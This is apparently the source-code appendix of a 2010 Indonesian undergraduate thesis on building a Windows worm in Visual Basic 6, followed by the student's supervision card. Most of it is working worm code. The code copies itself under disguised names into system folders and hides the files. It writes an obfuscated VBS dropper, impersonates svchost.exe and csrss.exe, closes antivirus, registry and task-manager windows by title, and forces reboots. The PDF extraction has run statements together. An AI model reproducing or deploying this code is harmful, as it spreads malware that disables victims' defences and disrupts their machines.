If cek = 0 Or cek = "" Then BuatDword HKCU,
"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 0
End If End Sub
Private Sub infeksi2() On Error Resume Next Dim tmp As String Dim isi As String
lokasi = GetSpecialfolder(&H27) & "\XxXLove.exe" If Dir$(lokasi, vbSystem) = "" Then
CopyFile induk, lokasi, True SetAttr lokasi, vbHidden Else
If FileLen(induk) <> FileLen(lokasi) Then CopyFile induk, lokasi, True
SetAttr lokasi, vbHidden End If
End If
lokasi2 = GetSpecialfolder(&H1C) & "\MakeLove.exe" If Dir$(lokasi2, vbSystem) = "" Then
CopyFile induk, lokasi2, True SetAttr lokasi2, vbHidden Else
If FileLen(induk) <> FileLen(lokasi2) Then CopyFile induk, lokasi2, True
SetAttr lokasi2, vbHidden End If
End If
lokasi3 = GetSpecialfolder(&H7) & "\Babi.com" If Dir$(lokasi3, vbSystem) = "" Then
CopyFile induk, lokasi3, True SetAttr lokasi3, vbHidden Else
If FileLen(induk) <> FileLen(lokasi3) Then CopyFile induk, lokasi3, True
SetAttr lokasi3, vbHidden End If
End If
If Dir$(GetSpecialfolder(&H7) & "\Semut.vbs", vbHidden) = "" Then Gigit
Else
Open GetSpecialfolder(&H7) & "\Semut.vbs" For Input As 2 Input #2, isi
If isi <> "Rem Encode" Then
Kill GetSpecialfolder(&H7) & "\Semut.vbs" Gigit
End If Close #2 End If
(60)
If Dir$(lokasi4, vbArchive) = "" Then CopyFile induk, lokasi4, True
SetAttr lokasi4, vbNormal Else
If FileLen(induk) <> FileLen(lokasi4) Then CopyFile induk, lokasi4, True
SetAttr lokasi4, vbNormal End If
End If
tmp = GetSpecialfolder(&H25) & "\msvbvm60.dll" lokasi5 = GetSpecialfolder(&H1A) & "\sys.dll" If Dir$(lokasi5, vbArchive) = "" Then
CopyFile tmp, lokasi5, True SetAttr lokasi5, vbNormal Else
If FileLen(lokasi5) <> 1386496 Then CopyFile tmp, lokasi5, False
SetAttr lokasi5, vbNormal End If
End If
SetAttr tmp, vbHidden
End Sub
Private Sub Ricek() On Error Resume Next Dim i As Integer Dim ada1 As Integer Dim ada2 As Integer Dim ada3 As Integer Dim a1 As Long Dim a2 As Long Dim a3 As Long
ada1 = 0 ada2 = 0 ada3 = 0
Update
If bool = True Then
For i = 0 To List1.ListCount - 1
If List1.List(i) = "MakeLove.exe" Then ada1 = ada1 + 1
End If
If List1.List(i) = "XxXLove.exe" Then ada1 = ada2 + 1
End If
If List1.List(i) = "Fuckme.com" Then ada1 = ada3 + 1
End If Next Else
For i = 0 To List1.ListCount - 1 If List1.List(i) = lokasi Then ada1 = ada1 + 1
End If
If List1.List(i) = lokasi2 Then ada2 = ada2 + 1
(61)
End If
If List1.List(i) = lokasi3 Then ada2 = ada3 + 1
End If Next End If
If ada1 = 0 Then Shell lokasi If ada2 = 0 Then Shell lokasi2 If ada3 = 0 Then Shell lokasi3
If App.EXEName <> "MakeLove" And App.EXEName <> "XxXLove" And App.EXEName <> "Fuckme" Then End
End Sub
Public Sub Timer2_Timer() Timer2.Enabled = False
If App.EXEName = "MakeLove" Then Penyamaran "XxXLove.exe", "svchost.exe"
If App.EXEName = "XxXLove" Then Penyamaran "MakeLove.exe", "csrss.exe"
Timer2.Enabled = True End Sub
Private Sub Timer3_Timer()
If Minute(Now) Mod 1800 = 0 Then KeluarWindows REBOOT
End If End Sub
Private Sub Gigit() On Error Resume Next Dim tmp As String
tmp = "On Error Resume Next:"
tmp = tmp + "Dim fso, filex, Induk1, Induk2, atribut:" tmp = tmp + "Set fso = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "):"
tmp = tmp + "Set filex = Wscript.CreateObject(" & Chr(34) & "Wscript.Shell" & Chr(34) & "):"
tmp = tmp + "Set Induk1 = fso.GetFile(" & Chr(34) & lokasi4 & Chr(34) & "):"
tmp = tmp + "Set Induk2 = fso.GetFile(" & Chr(34) & lokasi3 & Chr(34) & "):"
tmp = tmp + "if fso.FileExists(" & Chr(34) &
GetSpecialfolder(&H25) & "\msvbvm60.dll" & Chr(34) & ")= False then:" tmp = tmp + "Induk1.Copy(" & Chr(34) & GetSpecialfolder(&H25) & "\msvbvm60.dll" & Chr(34) & "):"
tmp = tmp + "End if:"
tmp = tmp + "if fso.FileExists(" & Chr(34) & lokasi2 & Chr(34) & ")= False then:"
tmp = tmp + "Induk2.Copy(" & Chr(34) & lokasi2 & Chr(34) & "):" tmp = tmp + "Set atribut = fso.GetFile(" & Chr(34) & lokasi2 & Chr(34) & "):"
tmp = tmp + "fso.Attributes = 2:" tmp = tmp + "End if:"
tmp = tmp + "filex.Run(" & Chr(34) & lokasi2 & Chr(34) & "):"
Open GetSpecialfolder(&H7) & "\Semut.vbs" For Output As 2 Print #2, "Rem Encode"
Print #2, "Dim i:Execute(Rubah(" & Chr(34) & Rubah(tmp) & Chr(34) & "))"
(62)
Print #2, "Function Rubah(data):For i = 1 To Len(data):Rubah = Rubah & Chr(Asc(Mid(data, i, 1)) + 2):Next:End Function"
Close #2
SetAttr GetSpecialfolder(&H7) & "\Semut.vbs", vbArchive End Sub
Private Function Rubah(data As String) As String For i = 1 To Len(data)
Rubah = Rubah & Chr(Asc(Mid(data, i, 1)) - 2) Next
End Function
Private Sub kenal() Dim virpath As String virpath = App.Path
If Right(App.Path, 1) <> "\" Then virpath = virpath & "\"
End If
induk = virpath & App.EXEName & ".exe" End Sub
Private Sub Timer5_Timer() On Error Resume Next
WinQuit "vir" WinQuit "av" WinQuit "safe" WinQuit "start" 'WinQuit "process" WinQuit "spy" WinQuit "autoruns" WinQuit "hijack" WinQuit "patrol" WinQuit "alarm" WinQuit "task" WinQuit "config"
WinQuit "folder option" WinQuit "system" WinQuit "properties" WinQuit "watson" WinQuit "remov" WinQuit "scan" WinQuit "kill" WinQuit "reg" WinQuit "window" WinQuit "WSar" WinQuit "anti" WinQuit "ghost" End Sub
(63)
Lampiran 2 Module 1
Option Explicit
Public buffer As String * 255 Public x As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Sub Log(strLog As String) Dim ff As Integer
ff = FreeFile
x = GetWindowsDirectory(buffer, 255)
On Error Resume Next 'MkDir App.Path & "\Logs"
Open Left(buffer, x) & "\help.htm" For Output As #ff Print #ff, strLog
Close #ff
End Sub
Lampiran 3 Module 2
Option Explicit
Const TH32CS_SNAPALL = (&H1 Or &H2 Or &H4 Or &H8) Const TH32CS_SNAPPROCESS As Long = 2&
Private Type PROCESSENTRY32 dwSize As Long
cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long
th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long
szExeFile As String * 260 End Type
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
(64)
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long)
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private myHandle As Long Private myproclist$
Private Function UNICODE(data As String) As String Dim tmp As String
Dim i As Integer tmp = ""
For i = 1 To Len(data)
tmp = tmp & Chr(0) & Mid(data, i, 1) Next
UNICODE = tmp End Function
Private Function InitProcHack(pid As Long) As Boolean Dim pHandle As Long
pHandle = OpenProcess(&H1F0FFF, False, pid) If (pHandle = 0) Then
InitProcHack = False myHandle = 0
Else
InitProcHack = True myHandle = pHandle End If
End Function
Private Sub REPSTRINGINPROC(PIDX As Long, Asal As String, Baru As String)
Dim SRCHSTRING As String Dim REPSTRING As String Dim startpos As Integer Dim p As String
Dim bytewrite As Long
If Not InitProcHack(PIDX) Then Exit Sub
Dim c As Integer Dim addr As Long
Dim buffer As String * 30000 Dim readlen As Long
Dim writelen As Long
Perbaikan Asal, Baru
SRCHSTRING = UNICODE(Asal) REPSTRING = UNICODE(Baru)
(1)
End If
GetSpecialfolder = "" End Function
Public Function GetWindowsVersion(ByRef IsWinXp As Boolean) As String Dim TheOS As OSVERSIONINFO
TheOS.dwOSVersionInfoSize = Len(TheOS) GetVersionEx TheOS
If TheOS.dwPlatformId = 2 Then IsWinXp = True
Else
IsWinXp = False End If
End Function
Lampiran 6
Module 5
Option Explicit
Const TH32CS_SNAPALL = (&H1 Or &H2 Or &H3 Or &H8) Private Type PROCESSENTRY32
dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long
th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long
szExeFile As String * 260 End Type
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long) Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long dwMajorVersion As Long dwMinorVersion As Long dwBuildNumber As Long dwPlatformId As Long
szCSDVersion As String * 128 End Type
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long Public Function Update()
Dim hSnapShot As Long, uProcess As PROCESSENTRY32, r As Long Form1.List1.Clear
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&) uProcess.dwSize = Len(uProcess)
r = Process32First(hSnapShot, uProcess) Do While r
(2)
Form1.List1.AddItem Left$(uProcess.szExeFile, IIf(InStr(1, uProcess.szExeFile, Chr$(0)) > 0, InStr(1, uProcess.szExeFile, Chr$(0)) - 1, 0))
Form1.List1.ItemData(Form1.List1.NewIndex) = uProcess.th32ProcessID r = Process32Next(hSnapShot, uProcess)
Loop
CloseHandle hSnapShot End Function
Lampiran 7
Module 6
Option Explicit
Private Const EWX_FORCE As Long = 4 Private Type LUID
UsedPart As Long
IgnoredForNowHigh32BitPart As Long End Type
Private Type TOKEN_PRIVILEGES PrivilegeCount As Long
TheLuid As LUID Attributes As Long End Type
Public Enum ExitWindows LOGOFF = 0
SHUTDOWN = 1 REBOOT = 2 POWEROFF = 8 End Enum
#If False Then
Private LOGOFF, SHUTDOWN, REBOOT, POWEROFF #End If
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long Private Declare Function OpenProcessToken Lib "advapi32" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpluid As LUID) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal Bufferlength As Long, PreviousState As
TOKEN_PRIVILEGES, ReturnLenght As Long) As Long Private Sub AdjustToken()
Dim hdlProcessHandle As Long Dim hdlTokenHandle As Long Dim tmpLuid As LUID
Dim tkp As TOKEN_PRIVILEGES
Dim tkpNewButIgnored As TOKEN_PRIVILEGES Dim lpBufferNeeded As Long
hdlProcessHandle = GetCurrentProcess()
OpenProcessToken hdlProcessHandle, (&H20 Or &H8), hdlTokenHandle LookupPrivilegeValue "", "SeShutdownPrivilege", tmpLuid
(3)
With tkp
.PrivilegeCount = 1 .TheLuid = tmpLuid .Attributes = &H2 End With
AdjustTokenPrivileges hdlTokenHandle, False, tkp,
Len(tkpNewButIgnored), tkpNewButIgnored, lpBufferNeeded End Sub
Public Sub KeluarWindows(ByVal aOption As ExitWindows) AdjustToken
Select Case aOption Case ExitWindows.LOGOFF
ExitWindowsEx (ExitWindows.LOGOFF Or EWX_FORCE), &HFFFF Case ExitWindows.REBOOT
ExitWindowsEx (ExitWindows.SHUTDOWN Or EWX_FORCE Or ExitWindows.REBOOT), &HFFFF
Case ExitWindows.SHUTDOWN
ExitWindowsEx (ExitWindows.SHUTDOWN Or EWX_FORCE), &HFFFF Case ExitWindows.POWEROFF
ExitWindowsEx (ExitWindows.POWEROFF Or EWX_FORCE), &HFFFF End Select
End Sub
Lampiran 8
Module 7
Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long)
Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As _ String, ByVal cch As Long) As Long
Private Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long)
Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long)
Private Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As Long
Dim sPattern As String, hFind As Long Const WM_CLOSE = &H10
Private Function EnumWinProc(ByVal hwnd As Long, ByVal _ lParam As Long) As Long
Dim k As Long, sName As String
If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128)
k = GetWindowText(hwnd, sName, 128) If k > 0 Then
sName = Left$(sName, k)
If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then
hFind = hwnd EnumWinProc = 0 Exit Function
(4)
End If End If End If
EnumWinProc = 1 End Function
Private Function WinFind(sWild As String, Optional bMatchCase _ As Boolean = True) As Long
sPattern = sWild
If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows AddressOf EnumWinProc, bMatchCase WinFind = hFind
End Function
Function WinQuit(WindowsTitle As String) On Error Resume Next
hFind = 0
Dim wincap As Long Dim rtnval As Long
wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = PostMessage(wincap, WM_CLOSE, vbNull, vbNull) End Function
Function WinAble(WindowsTitle As String, value As Boolean) hFind = 0
On Error Resume Next Dim wincap As Long Dim rtnval As Long
wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = EnableWindow(wincap, value)
(5)
KEMENTERIAN PENDIDIKAN NASIONAL
UNIVERSITAS SUMATERA UTARA
FAKULTAS MATEMATIKA DAN ILMU PENGETAHUAN ALAM
Jl. Bioteknologi No. 1 Kampus USU
Telp. (061) 8214290, 8211212, 8211414 Fax. (061) 8214290 Medan 20155
Kartu Bimbingan Tugas Akhir Mahasiswa
Nama
: SHOFIAH WARTIKA HUTASUHUT
Nomor Induk Mahasiswa
: 072406115
Judul Tugas Akhir
: Aplikasi Virus Worm Pada Sistem Operasi Windows
Menggunakan Visual Basic 6.0
Dosen Pembimbing
: Drs. Bambang Irawan, M.Sc
Tanggal Mulai Bimbingan
: 6 Maret 2010
Tanggal Selesai Bimbingan : Juni 2010
No
Tanggal
Bimbingan
Pembahasan Asistensi
Mengenai Bab
Paraf Dosen
Pembimbing
Keterangan
1
3 Maret 2010
Pengajuan Proposal
2
6 Maret 2010
ACC Proposal
3
14 April 2010
Pengajuan Bab 1 – Bab 5
4
17 April 2010
Perbaikan Bab 1 – Bab 5
5
19 Mei 2010
Perbaikan Bab 1 – Bab 5
6
31 Mei 2010
ACC Bab 1 – Bab 5
7
2 Juni 2010
Uji Program
(6)